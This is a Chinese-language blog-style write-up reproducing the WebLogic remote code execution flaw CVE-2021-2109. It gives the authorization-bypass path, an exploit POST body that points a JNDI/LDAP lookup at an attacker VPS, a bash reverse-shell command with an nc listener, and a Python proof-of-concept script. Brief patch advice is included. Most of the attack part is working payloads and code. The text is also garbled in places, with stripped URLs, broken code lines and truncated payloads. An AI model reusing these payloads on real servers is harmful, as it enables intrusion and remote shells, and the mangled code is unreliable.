WeblogicServer远程代码执⾏漏洞(CVE-2021-2109)复现⽬录
⼀. 漏洞描述
WebLogic是美国Oracle公司出品的⼀个application server,确切的说是⼀个基于JAVAEE架构的中间件,WebLogic是⽤于开发、集成、部署和管理⼤型分布式Web应⽤、⽹络应⽤和数据库应⽤的Java应⽤服务器。将Java的动态功能和Java Enterprise标准的安全性引⼊⼤型⽹络应⽤的开发、集成、部署和管理之中。
该漏洞为Weblogic的远程代码执⾏漏洞。漏洞主要由JNDI注⼊,导致攻击者可利⽤此漏洞远程代码执⾏。
⼆. 影响版本
Weblogic Server 10.3.6.0.0
Weblogic Server 12.1.3.0.0
Weblogic Server 12.2.1.3.0
Weblogic Server 12.2.1.4.0
Weblogic Server 14.1.1.0.0
三. 测试环境搭建
使⽤Vulhub的CVE-2020-14882(weblogic:12.2.1.3版本)漏洞环境来复现,如下启动漏洞环境。
docker-compose up -d
访问:7001/console,如下说明环境搭建成功
四. 漏洞复现
1. 远程命令执⾏
注:运⾏ldap需要java1.8环境,执⾏java -version查看jdk版本
我把⼯具放在了阿⾥云的vps上,开启监听
java -jar JNDIExploit-v1.11.jar -i vps的ip
注意:如果是⽤的vps的话,安全组⼀定要放⾏1389和8080端⼝端⼝,我⼀开始⼀直没复现成功,后⾯才发现是没有放⾏端⼝,以⾄于vps接收不到数据
1.2 访问 /console/css/%252e%252e%252f/consolejndi.portal (CVE-2020-14882存在未授权访问漏洞)
截取数据包发送到重放模块,将请求发送换为post
1.3 将get改为post,并在请求头中添加cmd:id ,中并构造以下数据包。其中;xx 为vps的ip,注意第三个是为;分号不是.点
_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=sole.handles.JndiBindingHandle(%22ldap://;xx:1389/B 发送数据后,vps开启的监听就会有反应
执⾏了命令
2. 反弹shell
1. 将上⾯请求头中cmd字段的值改为反弹shell的语句
bash -i >& /dev/xx/6666 0>&1
2. nc开启监听
3. 发送数据
五. 漏洞修复
1、建议⽤户及时将 Weblogic 后台/console/console.portal 对外的访问权限暂时关闭。
2、此次 Oracle 官⽅的 CPU已发布了针对该漏洞的补丁,请受影响⽤户及时下载补丁程序并安装更新。cve漏洞库
3、由于是通过JNDI注⼊进⾏远程命令执⾏,所以受到JDK版本的影响,建议升级Weblogic Server运⾏环境的JDK版本
六. 漏洞检测POC
usage: python poc.py ⽬标地址 vps地址
#author:xcc
import requests
import os
import argparse
def url():
parser = argparse.ArgumentParser(description='(CVE-2021-2109)Weblogic Server远程代码执⾏漏洞POC')
parser.add_argument('target_url',type=str,help='The target address,example: 192.168.140.153:7001')
parser.add_argument('vps',type=str,help="The vps ip address of listening,example: ")
args = parser.parse_args()
global url
global vps
url = args.target_url
vps = args.vps
#检测输⼊的url的正确性
if url.startswith('') or url.startswith(''):
pass
else:
print('[-]Please include or in the URL!!')
os._exit(0)
dswith('/'):
url = url[:-1]
print('[+]author:chenchen')
print("[-](CVE-2021-2109 )Weblogic Server远程代码执⾏漏洞POC",)
print("[-](CVE-2021-2109 )Weblogic Server远程代码执⾏漏洞POC",)
print("[-]正在执⾏检测...")
print("[-]⽬标地址:",url)
print("[-]vps地址:",vps)
return url
return vps
def poc(url):
headers={
'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36' }
url = url + '/console/css/%252e%252e%252f/consolejndi.portal'
try:
code = (headers=headers,url=url,timeout=10).status_code
if code == 200:
pass
else:
print('[-]不存在漏洞')
os._exit(0)
except:
print("[-]发⽣错误")
c= vps.rsplit('.',1)
vps_1 = c[0]+';'+c[1]
headers={
'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'cmd': 'id',
'Upgrade-Insecure-Requests': '1',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '175'
}
data= f'_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=sole.handles.JndiBindingHandle(%22ldap://{vps_1}:1389/Bas try:
response = requests.post(url=url,headers=headers,data=data,timeout=8).text
if "uid" in response and "gid" in response:
print("[+]存在(CVE-2021-2109 )Weblogic Server远程代码执⾏漏洞")
else:
print("[-]漏洞不存在")
except:
print('[-]发⽣错误!')
if __name__ == '__main__':
url()
poc(url)
——⼼,若没有栖息的地⽅,到哪都是流浪
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论